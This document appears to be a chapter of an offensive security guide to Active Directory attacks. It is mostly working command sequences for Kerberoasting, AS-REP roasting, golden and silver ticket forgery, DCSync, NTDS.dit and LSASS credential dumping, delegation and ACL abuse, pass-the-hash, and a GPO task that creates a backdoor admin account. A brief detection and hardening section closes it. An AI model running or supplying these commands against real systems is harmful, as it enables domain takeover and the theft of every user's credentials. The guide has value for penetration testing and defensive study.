Active Directory: The Kingdom and Its Keys
Active Directory is the heart of Windows enterprise environments. Compromise AD, and you control everything—every user, every computer, every secret. Understanding AD attacks is essential for both attackers and defenders.
This chapter focuses on AD-specific attacks. For foundational techniques, see: Credential Access (LSASS, SAM, credential dumping) and Lateral Movement (PtH, WMI, PSRemoting). AD attacks build on these core techniques.
A single domain admin account grants access to every system in the domain. One misconfiguration can expose the entire organization. AD was designed for usability in the 90s—security was an afterthought. Those design decisions haunt enterprises today.
Understanding AD Architecture
┌─────────────────────────────────────────────────────────────────────┐
│ ACTIVE DIRECTORY STRUCTURE │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ FOREST │ │ FOREST │ │ FOREST │ │
│ │ (Trust) │◄─────►│ (Trust) │◄─────►│ (Trust) │ │
│ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │
│ │ │ │ │
│ ┌────┴────┐ ┌────┴────┐ ┌────┴────┐ │
│ │ DOMAIN │ │ DOMAIN │ │ DOMAIN │ │
│ │ (Root) │ │ (Root) │ │ (Root) │ │
│ └────┬────┘ └─────────┘ └─────────┘ │
│ │ │
│ ┌────┴────┬────────────┐ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │Child│ │Child│ │Child│ Domain Controllers │
│ │ DC │ │ DC │ │ DC │ hold all the secrets │
│ └─────┘ └─────┘ └─────┘ │
│ │
│ KEY COMPONENTS: │
│ • NTDS.dit - The AD database (all hashes live here) │
│ • SYSVOL - Group policies (often contains passwords) │
│ • Kerberos - Authentication protocol (full of attacks) │
│ • LDAP - Directory queries (reconnaissance gold) │
│ │
└─────────────────────────────────────────────────────────────────────┘
AD Reconnaissance
Before attacking AD, you need to understand its structure. LDAP queries and built-in Windows commands reveal everything about the domain.
Built-in Windows Commands
# Domain information
systeminfo | findstr /B /C:"Domain"
nltest /dclist:domain.local
nltest /domain_trusts
# User enumeration
net user /domain
net user administrator /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
# Computer enumeration
net group "Domain Computers" /domain
nltest /dsgetdc:domain.local
# Trust relationships
nltest /trusted_domains
PowerShell AD Module
# Import module (if RSAT installed)
Import-Module ActiveDirectory
# Enumerate domain
Get-ADDomain
Get-ADForest
Get-ADTrust -Filter *
# Find privileged accounts
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADGroupMember -Identity "Enterprise Admins" -Recursive
Get-ADGroupMember -Identity "Administrators" -Recursive
# Find service accounts (Kerberoasting targets)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Find accounts with no Kerberos preauth (AS-REP roasting)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
# Find computers
Get-ADComputer -Filter * -Properties OperatingSystem |
Select Name, OperatingSystem
BloodHound - Attack Path Mapping
BloodHound is the most powerful AD reconnaissance tool. It maps relationships and finds attack paths that humans would miss.
# SharpHound collection (run from compromised host)
# All collection methods
.\SharpHound.exe -c All
# Stealth mode - fewer queries, harder to detect
.\SharpHound.exe -c DCOnly
# Specific collection
.\SharpHound.exe -c Session,LoggedOn
# With exclusions
.\SharpHound.exe -c All --excludedc
Once data is imported, these Cypher queries reveal attack paths:
- Shortest Path to DA: Find quickest route to Domain Admin
- Kerberoastable Users: Service accounts vulnerable to offline cracking
- High Value Targets: Pre-marked sensitive accounts
- Owned Principals: Track compromised accounts and find next moves
Kerberos Attacks
Kerberos is AD's authentication protocol. Its design makes it vulnerable to several devastating attacks that can yield credentials without ever touching a DC.
┌─────────────────────────────────────────────────────────────────────┐
│ KERBEROS AUTHENTICATION FLOW │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. AS-REQ ──────────────────────────────────────►┌──────────────┐ │
│ (Username + encrypted timestamp) │ KDC │ │
│ │ (Domain │ │
│ 2. AS-REP ◄──────────────────────────────────────│ Controller) │ │
│ (TGT encrypted with KRBTGT hash) └──────────────┘ │
│ │
│ 3. TGS-REQ ─────────────────────────────────────► │
│ (TGT + requested service SPN) │
│ │
│ 4. TGS-REP ◄────────────────────────────────────── │
│ (Service ticket encrypted with service hash) │
│ │
│ ATTACK SURFACE: │
│ ├── AS-REP Roasting: No preauth = crack the AS-REP offline │
│ ├── Kerberoasting: Request service ticket, crack offline │
│ ├── Pass-the-Ticket: Steal TGT, impersonate user │
│ ├── Golden Ticket: Forge TGT with KRBTGT hash │
│ └── Silver Ticket: Forge service ticket with service hash │
│ │
└─────────────────────────────────────────────────────────────────────┘
Kerberoasting
Service accounts have SPNs (Service Principal Names). Request a ticket for that service, and you can crack the service account's password offline—no failed login attempts logged.
# Using Rubeus (most common)
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
.\Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
# Using GetUserSPNs.py (Impacket)
GetUserSPNs.py -request -dc-ip 10.10.10.1 domain.local/user:password
# Crack with hashcat (mode 13100)
hashcat -m 13100 hashes.txt wordlist.txt
Kerberoasting's success depends on password strength. Service accounts with weak passwords (especially those set years ago and never changed) are easy targets. Modern best practice: use Managed Service Accounts (gMSAs) with auto-rotating complex passwords.
AS-REP Roasting
Accounts with "Do not require Kerberos preauthentication" can be attacked without any authentication. You can request their AS-REP and crack it offline.
# Find vulnerable accounts
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
# Using Rubeus
.\Rubeus.exe asreproast /outfile:asrep.txt
# Using GetNPUsers.py (Impacket) - no creds needed!
GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -outputfile asrep.txt
# Crack with hashcat (mode 18200)
hashcat -m 18200 asrep.txt wordlist.txt
Pass-the-Ticket (PtT)
Steal a user's TGT from memory, and you become that user. No password needed.
# Export tickets from memory with Mimikatz
mimikatz# sekurlsa::tickets /export
# Import a stolen ticket
mimikatz# kerberos::ptt ticket.kirbi
# Using Rubeus
.\Rubeus.exe dump # Dump tickets
.\Rubeus.exe ptt /ticket:base64blob # Inject ticket
# Verify ticket is loaded
klist
Golden Ticket
If you have the KRBTGT hash, you can forge TGTs for any user—including non-existent ones. This is domain dominance: you can become anyone, forever, until KRBTGT is reset twice.
# Get KRBTGT hash (requires Domain Admin or DCSync)
mimikatz# lsadump::dcsync /user:krbtgt
# Create Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /ptt
# Key parameters:
# /user - Any username (can be fake)
# /id - RID (500 for default Admin)
# /groups - Group memberships (512 for Domain Admins)
# /ptt - Pass-the-ticket (inject into memory)
A golden ticket remains valid until KRBTGT password is reset twice (because AD keeps the current and previous password). Even then, existing tickets remain valid until they expire. Default TGT lifetime: 10 hours. Maximum: 7 days.
Silver Ticket
Silver tickets are forged service tickets. They never touch the DC, making them stealthier than golden tickets—but they only work for one service.
# Create Silver Ticket for CIFS (file shares)
mimikatz# kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
# Common services:
# CIFS - File shares
# HTTP - Web services, WinRM
# LDAP - LDAP queries
# HOST - PSRemoting, scheduled tasks
# MSSQLSvc - SQL Server
Credential Attacks
DCSync Attack
DCSync mimics a domain controller requesting password replication. With the right privileges (Replicating Directory Changes All), you can pull any account's hash from the DC without ever logging into it.
# Using Mimikatz
mimikatz# lsadump::dcsync /user:krbtgt
mimikatz# lsadump::dcsync /user:Administrator
mimikatz# lsadump::dcsync /all /csv # Dump everything
# Using secretsdump.py (Impacket)
secretsdump.py domain.local/admin:password@dc.domain.local
secretsdump.py -just-dc-ntlm domain.local/admin:password@dc.domain.local
You need one of these privileges:
- Domain Admin
- Enterprise Admin
- Replicating Directory Changes + Replicating Directory Changes All
- Domain Controllers group membership
NTDS.dit Extraction
The NTDS.dit file contains all domain password hashes. If you can copy it offline, you own every credential in the domain.
# Using Volume Shadow Copy (requires admin on DC)
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM
vssadmin delete shadows /shadow={GUID}
# Using ntdsutil
ntdsutil "activate instance ntds" "ifm" "create full C:\temp" quit quit
# Extract hashes offline with secretsdump
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
LSASS Credential Dumping
# Mimikatz (elevated)
mimikatz# sekurlsa::logonpasswords
# Dump LSASS to file for offline extraction
# Using Task Manager: right-click lsass.exe → Create dump file
# Using procdump
procdump.exe -ma lsass.exe lsass.dmp
# Using comsvcs.dll (LOLBin - no tools needed)
rundll32.exe comsvcs.dll MiniDump (Get-Process lsass).Id C:\temp\lsass.dmp full
# Extract from dump file
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
Delegation Attacks
Kerberos delegation allows services to impersonate users to other services. Misconfigurations here lead to devastating attacks.
Unconstrained Delegation
Servers with unconstrained delegation cache users' TGTs. Compromise the server, steal the tickets. If you can coerce a DC to authenticate to that server, you get the DC's TGT.
# Find unconstrained delegation systems
Get-ADComputer -Filter {TrustedForDelegation -eq $true}
# Extract cached tickets (from compromised unconstrained host)
mimikatz# sekurlsa::tickets /export
# Coerce authentication using SpoolSample/PrinterBug
SpoolSample.exe DC01.domain.local YOURSERVER.domain.local
# Capture and use the DC's ticket
Constrained Delegation
Constrained delegation limits which services an account can delegate to. But with the account's hash/password, you can request tickets to those allowed services as any user—including Domain Admins.
# Find constrained delegation
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo
# Abuse with Rubeus (S4U attack)
.\Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
Resource-Based Constrained Delegation (RBCD)
If you can write to a computer's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, you can configure it to trust an account you control for delegation—then impersonate any user to that computer.
# Create a computer account (default: users can create up to 10)
New-MachineAccount -MachineAccount YOURPC -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
# Get computer SID
$SID = Get-DomainComputer YOURPC -Properties objectsid | Select -Expand objectsid
# Set RBCD on target
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID)"
$Bytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($Bytes,0)
Set-DomainObject -Identity TARGET$ -Set @{'msds-allowedtoactonbehalfofotheridentity'=$Bytes}
# Get ticket as any user
.\Rubeus.exe s4u /user:YOURPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET.domain.local /ptt
AD Lateral Movement
Pass-the-Hash (PtH)
# Using Impacket
psexec.py -hashes :NTHASH domain.local/admin@target
wmiexec.py -hashes :NTHASH domain.local/admin@target
smbexec.py -hashes :NTHASH domain.local/admin@target
# Using Mimikatz
mimikatz# sekurlsa::pth /user:admin /domain:domain.local /ntlm:HASH /run:cmd
Over-Pass-the-Hash (Pass-the-Key)
Use NTLM hash to request Kerberos tickets, avoiding NTLM authentication logs.
# Using Rubeus
.\Rubeus.exe asktgt /user:admin /rc4:HASH /ptt
# Using getTGT.py
getTGT.py -hashes :HASH domain.local/admin
PowerShell Remoting
# Enter interactive session
Enter-PSSession -ComputerName target
# Execute commands
Invoke-Command -ComputerName target -ScriptBlock {whoami}
# Execute on multiple hosts
Invoke-Command -ComputerName (Get-Content hosts.txt) -ScriptBlock {whoami}
Group Policy Attacks
GPP Passwords (Legacy but Still Found)
Before MS14-025, Group Policy Preferences could contain encrypted passwords. The encryption key was published by Microsoft—anyone can decrypt them.
# Search SYSVOL for cpassword
findstr /S /I cpassword \\domain.local\sysvol\*.xml
# Files to check:
# Groups.xml (local admin accounts)
# Services.xml (service accounts)
# ScheduledTasks.xml (scheduled task users)
# DataSources.xml (database credentials)
# Decrypt using gpp-decrypt
gpp-decrypt "ENCRYPTED_PASSWORD_STRING"
GPO Abuse
If you have write access to a GPO, you can push malicious settings to every computer/user it affects.
# Find GPO permissions
Get-GPPermission -All | Where-Object {$_.Trustee.Name -like "*youruser*"}
# Abuse with SharpGPOAbuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount your.user --GPOName "Default Domain Policy"
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Backdoor" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
ACL Abuse
Active Directory objects have ACLs. Misconfigured permissions allow attackers to modify objects, reset passwords, and escalate privileges.
Dangerous AD Rights
- GenericAll: Full control. Reset passwords, modify group membership
- GenericWrite: Modify attributes. Set SPN for Kerberoasting
- WriteOwner: Take ownership. Then grant yourself permissions
- WriteDACL: Modify permissions. Grant yourself GenericAll
- ForceChangePassword: Reset password without knowing current
- AddMember: Add users to groups (including Domain Admins)
# Find ACL abuse paths (PowerView)
Find-InterestingDomainAcl
# Force password reset (if you have the right)
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewPass123!' -AsPlainText -Force)
# Add user to group (if you have AddMember)
Add-DomainGroupMember -Identity "Domain Admins" -Members youruser
# Set SPN for Kerberoasting (if you have GenericWrite)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/spn'}
Domain Trust Attacks
Trust Enumeration
# Enumerate trusts
Get-ADTrust -Filter *
nltest /domain_trusts /all_trusts
# Check trust type and direction
# One-way: trusted domain can access trusting domain
# Two-way: mutual access
# Transitive: trust extends to other trusted domains
SID History Injection
With a golden ticket and SID history, you can add the Enterprise Admin SID to cross trust boundaries within a forest.
# Golden ticket with SID history for Enterprise Admin
mimikatz# kerberos::golden /user:admin /domain:child.domain.local /sid:S-1-5-21-CHILD /krbtgt:HASH /sids:S-1-5-21-PARENT-519 /ptt
# The /sids parameter injects Enterprise Admins group from parent domain
Detection Strategies
Critical Events to Monitor
| Attack | Event ID | Indicators |
|---|---|---|
| Kerberoasting | 4769 | RC4 encryption type (0x17), high volume TGS requests |
| AS-REP Roasting | 4768 | Pre-auth type 0, targeting accounts without preauth |
| DCSync | 4662 | Access to DS-Replication-Get-Changes-All from non-DC |
| Golden Ticket | 4769 | TGS for accounts that didn't get AS-REP first |
| Pass-the-Hash | 4624 | Type 3 logon, NTLM auth, unusual source |
| Password Spray | 4771 | Multiple failed preauth from same source |
Honey Tokens and Canaries
DETECTION STRATEGIES:
1. Honey Accounts
- Create fake DA accounts with alerting
- Any authentication attempt = alarm
- Never used legitimately = zero false positives
2. Protected Users Group
- Members cannot use NTLM, DES, or unconstrained delegation
- Credentials not cached
- TGT lifetime limited to 4 hours
3. LAPS (Local Admin Password Solution)
- Unique local admin password per computer
- Eliminates lateral movement via local admin hashes
4. Tiered Administration
- Tier 0: Domain Controllers (most restricted)
- Tier 1: Servers
- Tier 2: Workstations
- Admins only log into their tier
Essential AD Attack Tools
| Tool | Purpose | Key Features |
|---|---|---|
| BloodHound | AD visualization | Attack path discovery, relationship mapping |
| Mimikatz | Credential extraction | LSASS dumps, ticket manipulation, DCSync |
| Rubeus | Kerberos attacks | Kerberoast, AS-REP, ticket operations |
| Impacket | Network protocols | Remote execution, hash attacks, secretsdump |
| PowerView | AD enumeration | Domain recon, ACL analysis, trust mapping |
| NetExec | Lateral movement | Multi-protocol, credential testing, spraying |